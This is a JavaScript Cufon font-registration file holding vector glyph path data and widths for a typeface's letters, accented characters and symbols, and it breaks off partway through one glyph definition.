 * http://www.microsoft.com/typography/fonts/
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"88,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":180},{"d":"171,-328v28,-7,34,29,9,38r-76,29r-5,-7v33,-26,31,-50,72,-60xm214,-223v-2,-12,-15,-11,-31,-13r0,-13r92,0r0,13v-56,14,-66,75,-97,112v-18,22,-14,48,-15,86v-1,20,21,22,39,24r0,14r-139,0r0,-14v18,-1,39,-2,38,-22v-2,-32,2,-64,-13,-84v-26,-35,-41,-82,-75,-110v-5,-3,-17,-5,-24,-6r0,-13r143,0r0,13v-20,2,-41,0,-31,17r55,96v40,-65,38,-59,58,-100","w":263},{"d":"213,-1r-176,-88r0,-24r176,-88r0,33r-139,67r139,67r0,33"},{"d":"134,-20v24,0,41,-17,52,-32r13,10v-17,27,-44,48,-86,48v-63,0,-101,-33,-101,-94v0,-56,37,-91,97,-91v57,0,88,27,85,86r-118,0v0,45,14,74,58,73xm132,-109v-1,-26,-1,-56,-26,-56v-25,0,-30,25,-30,57","w":205},{"d":"173,-102v21,0,28,-17,36,-35r19,8v-13,26,-28,58,-65,59v-36,1,-50,-30,-82,-30v-22,0,-29,16,-37,35r-19,-8v12,-26,28,-58,65,-59v37,-1,49,30,83,30"},{"d":"180,-199r-10,5r-56,-45r-56,45r-9,-5v24,-25,28,-80,80,-71v25,22,29,39,51,71xm114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80","w":228},{"d":"211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47xm102,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":214},{"d":"236,-91v-2,-61,17,-146,-45,-145r0,-13r108,0r0,13v-63,-2,-43,91,-43,152v0,56,-44,91,-101,91v-67,0,-111,-29,-111,-91r0,-128v0,-18,-18,-22,-34,-24r0,-13r131,0r0,13v-18,1,-35,4,-35,22v0,82,-26,200,64,197v42,-2,68,-28,66,-74","w":300},{"d":"95,-34v-1,16,13,19,26,21r0,13r-111,0r0,-13v15,0,27,-3,27,-19r0,-102v-1,-17,-14,-23,-31,-25r0,-13v29,0,64,-7,89,-2r0,140xm61,-272v18,0,35,14,35,32v0,18,-17,32,-35,32v-18,0,-35,-14,-35,-32v0,-18,17,-32,35,-32","w":127},{"d":"165,75r-32,0r-121,-343r32,0","w":169},{"d":"170,-261v84,0,155,72,155,155v0,83,-71,155,-155,155v-84,0,-156,-71,-156,-155v0,-84,72,-155,156,-155xm170,34v75,0,138,-64,138,-140v0,-76,-63,-140,-138,-140v-76,0,-139,65,-139,140v0,76,63,140,139,140xm181,-40v28,0,41,-14,52,-33r12,6v-13,27,-34,47,-73,47v-53,0,-85,-30,-88,-84v-3,-67,75,-110,135,-78v3,-6,6,-11,17,-9r1,65r-12,0v-11,-28,-17,-53,-48,-53v-33,0,-43,34,-43,71v0,39,12,68,47,68","w":339},{"d":"211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47xm67,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":214},{"d":"184,-328v15,0,28,14,28,29v0,16,-13,30,-28,30v-15,0,-28,-14,-28,-30v0,-15,14,-29,28,-29xm90,-328v15,0,28,14,28,29v0,16,-13,30,-28,30v-15,0,-29,-15,-28,-30v0,-15,12,-29,28,-29xm49,-212v2,-20,-22,-20,-37,-24r0,-13r221,0r0,63r-13,0v-11,-38,-49,-56,-109,-48r0,97v42,4,68,-9,71,-43r14,0r0,104r-14,0v-3,-35,-26,-52,-71,-45v4,46,-19,116,41,105v56,9,72,-31,86,-62r13,0r-5,78r-234,0r0,-14v18,-1,38,-4,37,-22r0,-176","w":259},{"d":"216,-89r-175,88r0,-33r138,-67r-138,-67r0,-33r175,88r0,24"},{"d":"111,-201v71,-2,138,2,135,69v-3,64,-64,78,-135,75v-5,30,9,43,35,43r0,14r-134,0r0,-14v18,-1,37,-2,37,-22r0,-176v1,-19,-21,-21,-37,-24r0,-13r134,0r0,13v-21,2,-40,8,-35,35xm111,-74v43,2,66,-15,66,-55v0,-44,-20,-59,-66,-56r0,111","w":254},{"d":"169,-199r-9,5r-56,-45r-56,45r-9,-5v17,-23,29,-51,50,-70v53,-11,52,37,80,70xm211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47","w":214},{"d":"196,-242v78,0,122,43,126,116v3,55,-37,107,-88,106v-24,0,-41,-9,-48,-24v-20,36,-93,27,-88,-27v5,-54,37,-100,90,-100v16,0,24,6,28,18r6,-16r45,0v-12,40,-30,74,-39,117v0,9,3,16,13,16v42,0,63,-45,61,-92v-2,-63,-42,-96,-107,-96v-81,0,-133,54,-133,138v0,80,42,126,120,126v42,0,71,-12,95,-30r7,11v-26,20,-58,37,-103,36v-89,-3,-153,-49,-153,-141v0,-97,68,-158,168,-158xm145,-66v-3,30,30,31,37,10r27,-78v0,-12,-7,-22,-19,-22v-33,8,-41,51,-45,90","w":348},{"d":"96,-196v21,-1,63,-23,63,6v0,31,-42,4,-63,5v12,16,57,48,19,60v-21,-5,-18,-35,-28,-54v-11,16,-7,51,-28,54v-39,-13,8,-43,19,-60v0,0,-59,25,-64,-5v4,-29,41,-6,64,-6v-10,-16,-35,-27,-35,-45v0,-8,8,-15,16,-15v23,0,16,38,28,54v10,-19,7,-50,28,-54v38,13,-9,45,-19,60","w":173},{"d":"208,-223v-3,-11,-12,-11,-29,-13r0,-13r89,0r0,13v-46,13,-48,37,-74,77v-12,19,-27,33,-32,57r76,0r0,20r-76,0r0,44v-2,21,21,22,38,24r0,14r-137,0r0,-14v18,-1,40,-3,39,-22r0,-46r-76,0r0,-20r76,0v-20,-43,-45,-82,-70,-119v-9,-9,-20,-13,-35,-15r0,-13r138,0r0,13v-54,-2,-22,34,-7,59r27,45v31,-53,42,-59,53,-91","w":263},{"d":"118,-241v-37,-8,-58,33,-28,51v35,21,92,26,92,77v0,28,-22,44,-46,52v20,8,36,22,36,46v0,36,-38,58,-82,56v-33,-1,-64,-7,-64,-36v0,-13,10,-22,23,-22v23,0,28,25,34,43v37,8,59,-33,29,-51v-34,-21,-91,-26,-91,-77v0,-30,19,-40,46,-51v-22,-9,-38,-23,-38,-49v0,-35,41,-55,82,-54v32,1,61,7,64,36v3,25,-38,29,-45,7v-5,-7,-9,-18,-12,-28xm122,-67v19,-12,21,-52,-1,-61v-10,-7,-27,-15,-40,-20v-16,12,-23,53,1,62v12,9,26,12,40,19","w":202},{"d":"147,-266r-6,5r-61,-36r-61,36r-6,-5v18,-20,32,-43,52,-60v28,-9,42,10,53,25v6,9,7,9,29,35xm11,-14v17,-1,38,0,38,-21r0,-177v2,-20,-23,-20,-38,-24r0,-13r138,0r0,13v-17,2,-38,3,-38,23r0,176v-1,19,21,21,38,23r0,14r-138,0r0,-14","w":160},{"d":"247,-217v21,20,36,52,36,91v0,83,-51,132,-137,133v-34,0,-63,-11,-84,-27r-35,37r-13,-12r35,-37v-21,-21,-37,-51,-37,-90v0,-82,52,-132,136,-134v35,0,65,11,86,27r34,-36r13,12xm148,-240v-68,1,-74,99,-62,169r117,-126v-9,-23,-25,-43,-55,-43xm148,-10v70,0,71,-99,61,-168r-117,126v9,24,26,42,56,42","w":295},{"d":"134,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm46,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":180},{"d":"214,-223v-2,-12,-15,-11,-31,-13r0,-13r92,0r0,13v-56,14,-66,75,-97,112v-18,22,-14,48,-15,86v-1,20,21,22,39,24r0,14r-139,0r0,-14v18,-1,39,-2,38,-22v-2,-32,2,-64,-13,-84v-26,-35,-41,-82,-75,-110v-5,-3,-17,-5,-24,-6r0,-13r143,0r0,13v-20,2,-41,0,-31,17r55,96v40,-65,38,-59,58,-100","w":263},{"d":"15,-123v-2,-52,73,-64,124,-51r68,0r0,19r-39,0v37,42,-9,89,-66,89v-16,0,-36,-3,-36,12v5,26,57,12,84,16v31,5,57,19,57,52v0,51,-51,63,-108,64v-50,0,-94,-7,-94,-45v0,-24,24,-32,53,-33r0,-2v-18,-6,-33,-15,-34,-35v-1,-23,25,-23,37,-33v-27,-11,-45,-22,-46,-53xm98,-79v19,0,28,-19,27,-42v-1,-24,-6,-45,-27,-45v-36,0,-34,87,0,87xm108,64v28,-3,46,-10,46,-37v0,-32,-42,-21,-79,-24v-26,21,-11,65,33,61","w":207},{"d":"15,-179v0,-39,30,-70,74,-70r100,0r0,14r-20,0r0,273r-21,0r0,-273r-29,0r0,273r-22,0r0,-148v-44,0,-83,-24,-82,-69","w":197},{"d":"122,-110v-4,38,-19,43,-41,63r147,0r0,47r-206,0r0,-33v33,-9,43,-33,40,-77r-34,0r0,-20r34,0v-15,-73,20,-127,90,-127v34,0,74,20,74,50v0,16,-11,29,-29,29v-36,0,-36,-38,-23,-60v-60,-18,-56,52,-52,108r69,0r0,20r-69,0","w":248},{"d":"34,-222v-3,-28,38,-43,58,-23v7,6,12,14,10,23r-27,141r-14,0v-7,-54,-22,-91,-27,-141xm68,-60v18,0,34,17,34,33v0,17,-17,32,-34,32v-17,1,-34,-14,-34,-32v0,-17,16,-33,34,-33","w":135},{"d":"53,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":180},{"d":"114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80","w":228},{"d":"140,-21v29,0,42,-14,53,-34r14,9v-13,24,-36,45,-67,49r0,50r-17,0r0,-49v-61,0,-102,-32,-100,-92v2,-57,42,-87,100,-91r0,-45r17,0r0,45v29,3,53,12,56,38v2,17,-11,27,-29,26v-15,0,-24,-8,-27,-22r0,116xm123,-165v-52,10,-48,130,0,141r0,-141","w":217},{"d":"134,-20v24,0,41,-17,52,-32r13,10v-17,27,-44,48,-86,48v-63,0,-101,-33,-101,-94v0,-56,37,-91,97,-91v57,0,88,27,85,86r-118,0v0,45,14,74,58,73xm132,-109v-1,-26,-1,-56,-26,-56v-25,0,-30,25,-30,57xm68,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":205},{"d":"155,-239v34,27,61,66,61,128v0,71,-36,116,-103,117v-57,1,-101,-37,-101,-94v0,-74,89,-118,142,-71v-4,-24,-12,-47,-25,-63r-37,23r-10,-14r36,-23r-30,-23r8,-13v16,6,28,12,44,22r34,-22r11,14xm115,-9v34,-4,38,-42,38,-79v0,-36,-4,-74,-38,-74v-34,0,-38,37,-38,73v0,40,3,76,38,80","w":229},{"d":"211,-38v0,16,12,23,29,21r0,13v-28,0,-62,7,-87,3v-1,-7,2,-18,-1,-23v-17,15,-31,29,-66,29v-66,0,-53,-76,-54,-140v-1,-16,-12,-24,-29,-24r0,-13v28,1,62,-7,87,-2r0,117v-6,45,51,40,63,15r0,-95v-1,-16,-12,-23,-30,-22r0,-13v28,0,63,-7,88,-2r0,136xm82,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":243},{"d":"141,-239v19,2,22,-12,28,-25r14,4v-9,24,-23,51,-54,53v-29,1,-41,-16,-65,-20v-15,2,-18,13,-26,26r-13,-5v10,-22,23,-50,52,-52v29,-2,41,17,64,19xm211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47","w":214},{"d":"95,-34v-1,16,13,19,26,21r0,13r-111,0r0,-13v15,0,27,-3,27,-19r0,-102v-1,-17,-14,-23,-31,-25r0,-13v29,0,64,-7,89,-2r0,140xm58,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":127},{"d":"211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47","w":214},{"d":"151,-24v-15,26,-57,39,-85,19v2,31,29,83,-19,83v-49,0,-16,-67,-17,-104r0,-148r58,0r0,116v-6,44,50,41,62,16r0,-132r57,0r0,136v0,17,10,22,29,21r0,13v-26,13,-82,15,-85,-20","w":240},{"d":"184,-199r-9,5r-57,-45r-55,45r-9,-5v17,-23,29,-51,50,-70v53,-11,52,37,80,70xm211,-38v0,16,12,23,29,21r0,13v-28,0,-62,7,-87,3v-1,-7,2,-18,-1,-23v-17,15,-31,29,-66,29v-66,0,-53,-76,-54,-140v-1,-16,-12,-24,-29,-24r0,-13v28,1,62,-7,87,-2r0,117v-6,45,51,40,63,15r0,-95v-1,-16,-12,-23,-30,-22r0,-13v28,0,63,-7,88,-2r0,136","w":243},{"d":"104,-274v27,0,49,14,49,41v-1,24,-22,42,-49,41v-28,0,-49,-14,-49,-41v0,-26,22,-41,49,-41xm104,-205v17,0,23,-11,23,-28v0,-16,-7,-29,-23,-29v-15,0,-23,12,-23,29v0,16,7,28,23,28xm211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47","w":214},{"d":"254,-282r-255,0r0,-21r255,0r0,21"},{"d":"159,-163v36,8,64,31,65,75v1,63,-52,103,-119,87r0,-15v42,7,56,-31,56,-73v-1,-37,-11,-68,-49,-66v1,-7,-4,-19,7,-16v43,3,51,-87,7,-87v-32,0,-34,29,-35,65r0,193r-84,0r0,-13v15,-1,26,-3,26,-19r0,-147v-2,-66,36,-93,96,-93v42,0,79,14,80,55v1,34,-27,44,-50,54","w":236},{"d":"114,-195v111,0,129,151,58,210v-30,25,-68,44,-118,51r-4,-17v58,-9,91,-41,99,-100v-45,45,-134,17,-134,-58v0,-52,46,-86,99,-86xm116,-52v23,0,35,-11,35,-40v0,-42,-6,-82,-36,-87v-47,3,-49,127,1,127","w":233},{"d":"134,-20v24,0,41,-17,52,-32r13,10v-17,27,-44,48,-86,48v-63,0,-101,-33,-101,-94v0,-56,37,-91,97,-91v57,0,88,27,85,86r-118,0v0,45,14,74,58,73xm132,-109v-1,-26,-1,-56,-26,-56v-25,0,-30,25,-30,57xm102,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":205},{"d":"123,-30v-2,43,3,76,45,73r0,16v-57,-1,-105,-8,-104,-67r2,-43v2,-35,-23,-39,-53,-42r0,-26v29,-3,57,-7,53,-41v-6,-58,3,-108,60,-108v13,-1,27,-2,42,-2r0,15v-41,-2,-48,30,-45,74v3,46,-27,62,-64,69r0,13v37,8,67,22,64,69","w":180},{"d":"84,17v42,-8,61,42,24,55v-16,6,-33,6,-58,6r0,-14v19,-1,44,4,44,-14v0,-12,-12,-10,-25,-11r0,-42r15,0r0,20","w":180},{"d":"224,0r-195,0r0,-29r83,0r0,-69r-83,0r0,-29r83,0r0,-83r29,0r0,83r83,0r0,29r-83,0r0,69r83,0r0,29"},{"d":"94,-148v19,-29,89,-48,91,6v1,17,-13,33,-30,33v-24,0,-35,-18,-28,-41v-14,0,-26,10,-33,19r0,97v-1,18,18,20,34,21r0,13r-118,0r0,-13v16,0,27,-4,27,-19r0,-102v-1,-17,-13,-23,-29,-25r0,-13v28,0,62,-7,86,-2r0,26","w":187},{"d":"213,-34v0,16,12,19,26,21r0,13r-106,0v-6,-22,25,-7,22,-32v-6,-43,16,-118,-26,-118v-19,0,-31,10,-38,22r0,94v-2,16,10,19,22,21r0,13r-106,0v-6,-23,26,-7,26,-32r0,-196v0,-18,-14,-26,-32,-27r0,-13r87,-4r3,3r0,121v17,-16,32,-30,65,-31v70,-3,57,78,57,145","w":244},{"d":"47,-81v34,0,34,38,22,59v8,3,26,11,39,10r0,-79v-45,-2,-83,-21,-83,-66v0,-46,36,-69,83,-73r0,-38r18,0r0,38v39,1,78,16,80,49v0,16,-11,29,-27,29v-33,0,-32,-37,-21,-57v-7,-4,-21,-6,-32,-6r0,72v48,5,86,22,86,71v1,46,-42,72,-86,75r0,50r-18,0r0,-50v-41,1,-87,-22,-89,-55v0,-16,10,-29,28,-29xm67,-180v-1,26,18,33,41,36r0,-71v-22,2,-41,13,-41,35xm126,-12v28,-3,45,-15,45,-40v0,-25,-20,-34,-45,-37r0,77","w":230},{"d":"265,-138v9,-17,-12,-22,-24,-24r0,-12r72,0r0,12v-31,5,-33,45,-46,70v-9,17,-25,64,-34,94r-34,0r-44,-120r-42,120r-34,0r-55,-145v-3,-11,-15,-16,-26,-19r0,-12r107,0r0,12v-8,0,-30,4,-20,17r32,86r39,-115r35,0r45,119","w":310},{"d":"192,-303v20,2,24,-11,29,-25r13,4v-9,24,-22,51,-53,53v-29,1,-42,-16,-66,-20v-15,2,-17,12,-25,26r-13,-5v9,-23,22,-50,52,-52v28,-2,40,17,63,19xm235,-81v-5,-63,20,-155,-43,-155r0,-13r107,0r0,13v-33,0,-43,19,-43,59r0,178r-31,0r-156,-192v7,68,-25,176,44,177r0,14r-107,0r0,-14v35,-1,46,-17,43,-58v-5,-64,22,-160,-44,-163r0,-14r94,0","w":302},{"d":"211,-17r0,13v-26,13,-81,14,-87,-16v-21,34,-110,37,-110,-18v0,-59,72,-53,110,-73v-1,-26,2,-56,-26,-54v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26v6,-31,43,-40,79,-41v47,0,81,10,81,58v0,40,-24,112,29,104xm75,-48v0,32,37,32,48,12r1,-59v-25,8,-49,15,-49,47xm148,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm60,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":214},{"d":"230,-266r-6,5r-61,-36r-61,36r-5,-5v17,-20,31,-43,51,-60v28,-9,42,10,53,25v6,9,7,9,29,35xm236,-91v-2,-61,17,-146,-45,-145r0,-13r108,0r0,13v-63,-2,-43,91,-43,152v0,56,-44,91,-101,91v-67,0,-111,-29,-111,-91r0,-128v0,-18,-18,-22,-34,-24r0,-13r131,0r0,13v-18,1,-35,4,-35,22v0,82,-26,200,64,197v42,-2,68,-28,66,-74","w":300},{"d":"22,-138v9,-47,107,-53,140,-24v50,-35,150,-15,135,69r-115,0v0,44,14,73,56,73v25,0,40,-16,51,-32r13,10v-22,55,-133,64,-166,14v-19,38,-121,52,-122,-10v-1,-59,71,-54,110,-71v-1,-27,3,-58,-26,-56v-9,0,-15,2,-21,6v9,21,7,47,-25,47v-19,0,-29,-10,-30,-26xm236,-109v-1,-25,0,-56,-25,-56v-24,0,-29,26,-29,57xm75,-49v0,34,39,32,49,13r0,-58v-23,8,-49,12,-49,45","w":308},{"d":"186,-327v15,0,28,14,28,30v0,15,-13,29,-28,29v-15,0,-28,-15,-28,-29v0,-16,13,-30,28,-30xm92,-327v15,0,28,14,28,30v0,15,-13,29,-28,29v-15,0,-28,-14,-28,-29v0,-15,12,-30,28,-30xm56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"214,-34r-20,20r-68,-67r-67,67r-20,-20r68,-67r-68,-67r20,-21r67,68r68,-68r20,21r-68,67"},{"d":"91,-290v-26,-9,-20,-40,9,-38v24,2,29,19,44,32r28,28r-6,7v-28,-13,-52,-21,-75,-29xm49,-212v2,-20,-22,-20,-37,-24r0,-13r221,0r0,63r-13,0v-11,-38,-49,-56,-109,-48r0,97v42,4,68,-9,71,-43r14,0r0,104r-14,0v-3,-35,-26,-52,-71,-45v4,46,-19,116,41,105v56,9,72,-31,86,-62r13,0r-5,78r-234,0r0,-14v18,-1,38,-4,37,-22r0,-176","w":259},{"d":"53,-290v-26,-9,-21,-41,8,-38v24,2,29,19,44,32r29,28r-6,7v-28,-13,-52,-21,-75,-29xm11,-14v17,-1,38,0,38,-21r0,-177v2,-20,-23,-20,-38,-24r0,-13r138,0r0,13v-17,2,-38,3,-38,23r0,176v-1,19,21,21,38,23r0,14r-138,0r0,-14","w":160},{"d":"95,-34v-1,16,13,19,26,21r0,13r-111,0r0,-13v15,0,27,-3,27,-19r0,-102v-1,-17,-14,-23,-31,-25r0,-13v29,0,64,-7,89,-2r0,140xm25,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":127},{"d":"125,-37v-2,22,24,22,41,24r0,13r-145,0r0,-13v18,-3,44,0,44,-23r0,-111r-44,0r0,-17v37,2,62,-9,74,-31r31,0","w":176},{"d":"159,-90v39,44,-7,96,-67,96v-21,0,-47,-7,-59,-16r-5,12r-14,0r-2,-65r13,0v10,26,29,50,64,54v32,3,43,-34,19,-45v-37,-17,-90,-17,-91,-70v-2,-55,82,-66,127,-45v1,-8,6,-12,17,-10r3,60r-12,0v-6,-21,-28,-45,-54,-45v-28,0,-39,30,-17,41v20,10,65,18,78,33","w":184},{"d":"86,-155v50,-50,144,-13,134,69v7,80,-101,118,-158,72v-12,7,-20,29,-36,19v5,-72,1,-156,2,-233v-1,-18,-14,-26,-32,-27r0,-13r87,-4r3,3r0,114xm118,-9v52,0,58,-142,-2,-143v-15,0,-23,4,-30,13v5,49,-19,130,32,130","w":232},{"d":"114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80xm77,-234v-20,-11,-18,-40,7,-38v31,1,30,20,47,41r23,31r-7,6v-30,-20,-45,-26,-70,-40","w":228},{"d":"76,-315v27,-37,79,8,34,25r-75,29r-6,-7xm11,-14v17,-1,38,0,38,-21r0,-177v2,-20,-23,-20,-38,-24r0,-13r138,0r0,13v-17,2,-38,3,-38,23r0,176v-1,19,21,21,38,23r0,14r-138,0r0,-14","w":160},{"d":"12,-269v148,2,171,261,47,312v-15,7,-31,13,-47,15r0,-16v53,-13,69,-72,69,-148v0,-76,-15,-134,-69,-147r0,-16","w":160},{"d":"121,-76r-106,0r0,-39r106,0r0,39","w":136},{"d":"84,-257v37,0,69,27,69,66v0,39,-30,66,-68,66v-38,0,-69,-27,-69,-66v0,-39,31,-65,68,-66xm85,-138v20,-3,21,-27,21,-53v0,-26,-1,-51,-22,-53v-20,3,-21,27,-21,52v0,27,0,53,22,54xm232,-125v38,0,69,26,69,65v0,39,-31,66,-69,66v-38,1,-68,-27,-68,-66v0,-39,30,-65,68,-65xm233,-7v31,0,30,-105,-1,-105v-21,0,-22,26,-22,51v0,27,1,54,23,54xm277,-251r-208,251r-29,0r208,-251r29,0","w":316},{"d":"134,-20v24,0,41,-17,52,-32r13,10v-17,27,-44,48,-86,48v-63,0,-101,-33,-101,-94v0,-56,37,-91,97,-91v57,0,88,27,85,86r-118,0v0,45,14,74,58,73xm132,-109v-1,-26,-1,-56,-26,-56v-25,0,-30,25,-30,57xm149,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm61,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":205},{"d":"226,-131r-46,0r-14,45r49,0r0,28r-57,0r-18,58r-26,0r17,-58r-40,0r-18,58r-26,0r18,-58r-38,0r0,-28r46,0r14,-45r-49,0r0,-29r58,0r18,-60r26,0r-18,60r40,0r19,-60r26,0r-19,60r38,0r0,29xm154,-132r-41,0r-14,46r41,0"},{"d":"95,-34v-1,16,13,19,26,21r0,13r-111,0r0,-13v15,0,27,-3,27,-19r0,-102v-1,-17,-14,-23,-31,-25r0,-13v29,0,64,-7,89,-2r0,140xm98,-267v15,-1,28,14,28,30v0,15,-13,29,-28,29v-15,0,-28,-15,-28,-29v0,-15,13,-30,28,-30xm18,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-15,0,-28,-14,-28,-29v0,-15,12,-31,28,-30","w":127},{"d":"114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80xm158,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm70,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":228},{"d":"214,-266r-5,5r-62,-36r-61,36r-5,-5v25,-21,32,-70,81,-60v27,24,21,24,52,60xm148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"116,-255v17,0,34,14,34,32v0,17,-17,33,-34,33v-17,0,-34,-16,-34,-33v0,-18,17,-32,34,-32xm155,-72v18,-1,29,13,29,29v-1,31,-42,48,-79,48v-75,0,-113,-82,-63,-129v15,-15,38,-23,66,-26r1,-24r16,0r0,68v-31,4,-55,19,-55,54v0,33,34,55,61,36v-9,-21,-10,-61,24,-56","w":197},{"d":"61,-131v17,0,35,18,35,35v0,17,-17,34,-35,34v-18,0,-35,-16,-35,-34v0,-18,18,-35,35,-35","w":121},{"d":"116,-290v-26,-8,-21,-41,8,-38v24,2,29,19,44,32r29,28r-6,7v-28,-13,-52,-21,-75,-29xm236,-91v-2,-61,17,-146,-45,-145r0,-13r108,0r0,13v-63,-2,-43,91,-43,152v0,56,-44,91,-101,91v-67,0,-111,-29,-111,-91r0,-128v0,-18,-18,-22,-34,-24r0,-13r131,0r0,13v-18,1,-35,4,-35,22v0,82,-26,200,64,197v42,-2,68,-28,66,-74","w":300},{"d":"121,-174v27,3,51,13,51,43v1,63,-138,71,-147,13v-2,-14,9,-23,22,-24v26,-2,28,28,19,46v28,9,56,-2,56,-36v0,-28,-17,-34,-46,-32r0,-16v28,2,41,-9,41,-36v1,-21,-21,-31,-43,-24v9,16,10,45,-17,45v-14,0,-23,-10,-22,-23v4,-50,127,-54,129,2v1,28,-24,32,-43,42","w":198},{"d":"278,-251r-144,251r-27,0r143,-251r28,0xm364,-40r-28,0r0,44r-41,0r0,-44r-84,0r0,-24r89,-106r36,0r0,104r28,0r0,26xm295,-66r0,-74r-62,74r62,0xm104,-116v0,15,18,16,32,17r0,13r-110,0r0,-13v13,-2,33,1,33,-16r0,-102r-34,0v1,-7,-3,-18,7,-15v25,1,41,-9,50,-23r24,0v-3,44,-2,92,-2,139","w":385},{"d":"141,-315v13,-25,71,-8,47,16v-20,20,-57,23,-88,38r-6,-7xm148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"223,-9r-30,0r0,-83r-164,0r0,-29r194,0r0,112"},{"d":"271,-251r-144,251r-28,0r144,-251r28,0xm104,-116v0,15,18,16,32,17r0,13r-110,0r0,-13v13,-2,33,1,33,-16r0,-102r-34,0v1,-7,-3,-18,7,-15v25,1,41,-9,50,-23r24,0v